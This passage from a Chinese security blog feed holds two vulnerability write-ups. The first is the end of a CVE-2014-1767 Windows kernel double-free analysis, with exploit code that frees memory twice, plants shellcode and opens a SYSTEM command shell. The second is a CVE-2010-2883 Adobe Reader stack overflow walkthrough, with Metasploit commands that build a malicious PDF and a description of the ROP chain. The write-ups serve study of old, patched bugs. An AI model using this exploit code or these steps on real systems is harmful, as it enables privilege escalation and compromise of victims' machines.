Workerfactory object to occupy the free Mdl pool</span></span><br><span class="line">HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, <span class="literal">NULL</span>, <span class="number">1337</span>, <span class="number">4</span>);</span><br><span class="line">DWORD Exploit;</span><br><span class="line">status = NtCreateWorkerFactory(&amp;hWorkerFactory, GENERIC_ALL, <span class="literal">NULL</span>, hCompletionPort, (HANDLE)<span class="number">-1</span>, &amp;Exploit, <span class="literal">NULL</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(status))</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"NtCreateWorkerFactory fail!Error:%d\n"</span>, GetLastError());</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>3)第一次释放<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DeviceIoControl((HANDLE)s, <span class="number">0x1207F</span>, (LPVOID)inbuf1, <span class="number">0x30</span>, outBuf, <span class="number">0</span>, &amp;bytesRet, <span class="literal">NULL</span>);</span><br></pre></td></tr></table></figure></p><p>4)第二次释放<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DeviceIoControl((HANDLE)s, <span class="number">0x120C3</span>, (LPVOID)inbuf2, <span class="number">0x18</span>, outBuf, <span class="number">0</span>, &amp;bytesRet, <span class="literal">NULL</span>);</span><br></pre></td></tr></table></figure></p><p>5）伪造对象并拷贝shellcode执行<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">MyNtSetInformationWorkerFactory</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD* tem = (DWORD*)<span class="built_in">malloc</span>(<span class="number">0x20</span>);</span><br><span class="line"><span class="built_in">memset</span>(tem, <span class="string">'A'</span>, <span class="number">0x20</span>);</span><br><span class="line">tem[<span class="number">0</span>] = (DWORD)shellcode;</span><br><span class="line"></span><br><span class="line">NTSTATUS status = NtSetInformationWorkerFactory(hWorkerFactory, <span class="number">0x8</span>, tem, <span class="number">0x4</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>6）用户模式触发，系统权限调用cmd<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Trigger from user mode</span></span><br><span class="line">ULONG temp = <span class="number">0</span>;</span><br><span class="line">status = NtQueryIntervalProfile(<span class="number">2</span>, &amp;temp);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(status))</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"NtQueryIntervalProfile fail!Error:%d\n"</span>, GetLastError());</span><br><span class="line"><span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"done!\n"</span>);</span><br><span class="line"><span class="comment">//Sleep(000);</span></span><br><span class="line"><span class="comment">//Create a new cmd process with current token</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Creating a new cmd...\n"</span>);</span><br><span class="line">CreatNewCmd();</span><br></pre></td></tr></table></figure></p><h2 id="5-利用成功"><a href="#5-利用成功" class="headerlink" title="5.利用成功"></a>5.利用成功</h2><p><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/漏洞利用.gif" alt="漏洞利用"></p><h1 id="0x05：补丁分析"><a href="#0x05：补丁分析" class="headerlink" title="0x05：补丁分析"></a>0x05：补丁分析</h1><p>在win10下，调用IoFreeMdl函数之前会对TpInfoElementCount的值进行一系列的判断从而避免该漏洞的产生<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/20.png" alt="20"></p><h1 id="0x06：总结"><a href="#0x06：总结" class="headerlink" title="0x06：总结"></a>0x06：总结</h1><p>这个漏洞分析起来很麻烦，涉及的东西也很多，要有耐心才能分析的出来，从漏洞利用的思路，别人的exp编写来看，大牛确实厉害，自己的路还很长，希望自己有一天也能写出这样的exp来 。<br>参考资料：<br>[+] <a href="https://www.jianshu.com/p/6b01cfa41f0c" target="_blank" rel="noopener">https://www.jianshu.com/p/6b01cfa41f0c</a><br>[+] <a href="https://www.cnblogs.com/flycat-2016/p/5450275.html" target="_blank" rel="noopener">https://www.cnblogs.com/flycat-2016/p/5450275.html</a><br>[+] <a href="https://bbs.pediy.com/thread-194457.htm" target="_blank" rel="noopener">https://bbs.pediy.com/thread-194457.htm</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x00：前言&quot;&gt;&lt;a href=&quot;#0x00：前言&quot; class=&quot;headerlink&quot; title=&quot;0x00：前言&quot;&gt;&lt;/a&gt;0x00：前言&lt;/h1&gt;&lt;p&gt;这次分析一个内核漏洞，信息量有点大，有不对的地方欢迎指正，介绍一下这个漏洞吧，2014年“最佳提权漏
      
    
    </summary>
    
      <category term="Windows Kernel" scheme="https://thunderjie.github.io/categories/Windows-Kernel/"/>
    
      <category term="Double Free" scheme="https://thunderjie.github.io/categories/Windows-Kernel/Double-Free/"/>
    
    
      <category term="Double Free" scheme="https://thunderjie.github.io/tags/Double-Free/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2010-2883 Adobe栈溢出漏洞分析</title>
    <link href="https://thunderjie.github.io/2019/02/21/CVE-2010-2883%20Adobe%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <id>https://thunderjie.github.io/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/</id>
    <published>2019-02-21T02:55:38.000Z</published>
    <updated>2020-05-07T03:25:15.664Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00：前言"><a href="#0x00：前言" class="headerlink" title="0x00：前言"></a>0x00：前言</h1><p>记录一次漏洞调试的学习过程，实验环境的一些文件我已上传到GitHub上，欢迎下载</p><h1 id="0x01：实验环境"><a href="#0x01：实验环境" class="headerlink" title="0x01：实验环境"></a>0x01：实验环境</h1><ul><li>Windows XP SP3（虚拟机）</li><li>Adobe Reader 9.3.4（版本不能高于9.3.4）</li><li>IDA_Pro_v6.8_and_Hex-Rays_Decompiler_(ARM,x64,x86)_Green（静态分析）</li><li>PdfStreamDumper.exe（PDF二进制分析工具）</li><li>Ollydbg（动态调试）</li><li>msf.pdf（漏洞文件）</li></ul><p>漏洞文件的生成：<br><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br><span class="line">search cve-2010-2883</span><br><span class="line">use exploit/windows/fileformat/adobe_cooltype_sing</span><br><span class="line">set payload windows/exec</span><br><span class="line">    set cmd calc.exe</span><br><span class="line">    exploit</span><br></pre></td></tr></table></figure></p><p> Adobe Reader 9.3.4+PdfStreamDumper.exe+msf.pdf下载地址：<br> <a href="https://github.com/ThunderJie/CVE/tree/master/CVE-2010-2883" target="_blank" rel="noopener">https://github.com/ThunderJie/CVE/tree/master/CVE-2010-2883</a></p><h1 id="0x02：涉及知识点"><a href="#0x02：涉及知识点" class="headerlink" title="0x02：涉及知识点"></a>0x02：涉及知识点</h1><ul><li>Stack Overflow（栈溢出）</li><li>Heap Spray（堆喷射）</li><li>文件偏移计算</li><li>OD动态调试</li><li>IDA静态分析等</li></ul><h1 id="0x03：漏洞分析"><a href="#0x03：漏洞分析" class="headerlink" title="0x03：漏洞分析"></a>0x03：漏洞分析</h1><p>1.IDA静态分析CoolType.dll找到漏洞点<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/1.png" alt="1"></p><p>搜索字符串“SING”找到溢出点，可以看到这里strcat()函数之前未对uniqueName长度进行检测就复制，造成溢出搜索字符串“SING”找到溢出点，可以看到这里strcat()函数之前未对uniqueName长度进行检测就复制，造成溢出<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/2.png" alt="2"></p><p>2.PDFStreamDumper分析文件偏移<br>TTF(TrueTypeFont)是Apple公司和Microsoft公司共同推出的字体文件格式,随着windows的流行,已经变成最常用的一种字体文件表示方式，官方文档对TTF中SING表的TableEntry定义如下：<br><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> sturct_SING</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">char</span> tag[<span class="number">4</span>];   <span class="comment">//"SING"</span></span><br><span class="line">    ULONG checkSum;<span class="comment">//校验和</span></span><br><span class="line">    ULONG offset;  <span class="comment">//相对文件偏移</span></span><br><span class="line">    ULONG length;  <span class="comment">//数据长度</span></span><br><span class="line">&#125; TableEntry;</span><br></pre></td></tr></table></figure></p><p>我们通过PDFStreamDumper导入漏洞文件，找到TableEntry<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/3.png" alt="3"></p><p>从TableEntry结构入口偏移0x11c即为SING表真实数据，也就是从00 00 01 00开始的部分<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/4.png" alt="4"></p><p>又根据SING表的数据结构，再偏移0x10即为uniqueName域，如下图:<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/5.png" alt="5"></p><p>strcat函数执行后，将00 00 00 3A之后的数据复制到ebp指定地址直到下图的NULL为止<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/6.png" alt="6"></p><p>3.OD进行动态调试<br>打开Adobe Reader 用OD附加此程序，F9运行，crtl+g设置断点在0x803DD9F处，Adobe Reader中打开msf.pdf自动中断在0x803DD89F处<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/7.png" alt="7"></p><p>运行一步将数据窗口的值跟随EAX的值，对比PDFStreamDumper的值，这段汇编将已经在内存里的uniqueName域copy至程序所运行的栈中<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/8.png" alt="8"></p><p>选中所有的shelloce，在上面下内存访问断点，F9运行，开始寻找执行shellcode的代码。<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/9.png" alt="9"></p><p>F9运行第一次断在这里，取出了一个byte比较，没有到关键点，继续运行<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/10.png" alt="10"></p><p>继续运行有很多比较的地方，运行到这里是循环取出4byte的数据，但是还没有到关键点，继续运行<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/11.png" alt="11"></p><p>一直运行到这里，终于到关键点了，这里有一个调用虚表的指令，一开始虚表是存在栈上的，但是被我们溢出覆盖成了恶意地址<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/12.png" alt="12"></p><p>软件因为自带DEP保护，需要用到Heap Spray技术和构造ROP链来绕过，ROP的地址选取的是0x4a82a714和0x4a80cb38两处地址，因为在Adobe Reader各个版本中这个dll上的这两个地址不会改变，如下图<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/13.png" alt="13"></p><p><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/14.png" alt="14"></p><p>继续运行可以看到调用在icucnv36.dll中的内容<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/15.png" alt="15"></p><p>运行分析第一处ROP<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pop esp</span><br><span class="line">retn</span><br></pre></td></tr></table></figure></p><p><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/16.png" alt="16"></p><p>查看堆栈情况变化<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/17.png" alt="17"></p><p>继续运行来到第二处ROP<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pop ecx</span><br><span class="line">retn</span><br></pre></td></tr></table></figure></p><p><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/18.png" alt="18"></p><p>时刻关注堆栈情况<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/19.png" alt="19"></p><p>继续运行来到第三处ROP<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mov dword ptr ds:[ecx],eax</span><br><span class="line">retn</span><br></pre></td></tr></table></figure></p><p><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/20.png" alt="20"></p><p>时刻关注堆栈情况<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/21.png" alt="21"></p><p>运行来到第四次ROP，这里保存了CreateFileA函数地址<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pop eax</span><br><span class="line">retn</span><br></pre></td></tr></table></figure></p><p><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/22.png" alt="22"></p><p>时刻关注堆栈情况<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/23.png" alt="23"></p><p>继续运行，这里跳转到函数地址准备调用函数<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/24.png" alt="24"></p><p>这里打开或创建了iso88591文件<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/25.png" alt="25"></p><p>继续运行了几次之后发现后面的rop链是为了调用这三个函数，CreateFileMappingA（）函数实现创建文件内存映射，后面两个函数作用是将shellcode拷贝到内存可执行段，实现方法和前面很相似，就不放那么多照片了。<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/26.png" alt="26"></p><p><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/27.png" alt="27"></p><p>继续运行到这里可以看到正在执行shellcode部分<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/28.png" alt="28"></p><p>运行到了这里终于要到了调用计算器的地方<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/29.png" alt="29"></p><p>最终调用到计算器，完成测试<br><img src="/2019/02/21/CVE-2010-2883 Adobe栈溢出漏洞分析/30.png" alt="30"></p><h1 id="0x04：总结"><a href="#0x04：总结" class="headerlink" title="0x04：总结"></a>0x04：总结</h1><p>第一次记录关于调试CVE漏洞的文章，实践起来确实加深了对漏洞的理解，虽然原理只是运用了一个栈溢出，可是实践起来却涉及了许许多多的技术，以前做过一些ctf中pwn的题目对栈溢出漏洞原理比较熟悉，可能有些地方没有说清楚，如果有不懂的地方欢迎交流。</p><p>参考资料：<br>《漏洞战争 软件漏洞分析精要》<br><a href="https://blog.csdn.net/qq_31481187/article/details/74093072" target="_blank" rel="noopener">https://blog.csdn.net/qq_31481187/article/details/74093072</a><br><a href="https://blog.csdn.net/andy7002/article/details/74276469?utm_source=blogxgwz9" target="_blank" rel="noopener">https://blog.csdn.net/andy7002/article/details/74276469?utm_source=blogxgwz9</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x00：前言&quot;&gt;&lt;a href=&quot;#0x00：前言&quot; class=&quot;headerlink&quot; title=&quot;0x00：前言&quot;&gt;&lt;/a&gt;0x00：前言&lt;/h1&gt;&lt;p&gt;记录一次漏洞调试的学习过程，实验环境的一些文件我已上传到GitHub上，欢迎下载&lt;/p&gt;
&lt;h1 i
      
    
    </summary>
    
      <category term="Adobe" scheme="https://thunderjie.github.io/categories/Adobe/"/>
    
      <category term="Stack Overflow" scheme="https://thunderjie.github.io/categories/Adobe/Stack-Overflow/"/>
    
    
      <category term="Adobe" scheme="https://thunderjie.github.io/tags/Adobe/"/>
    
  </entry>
  
</feed>
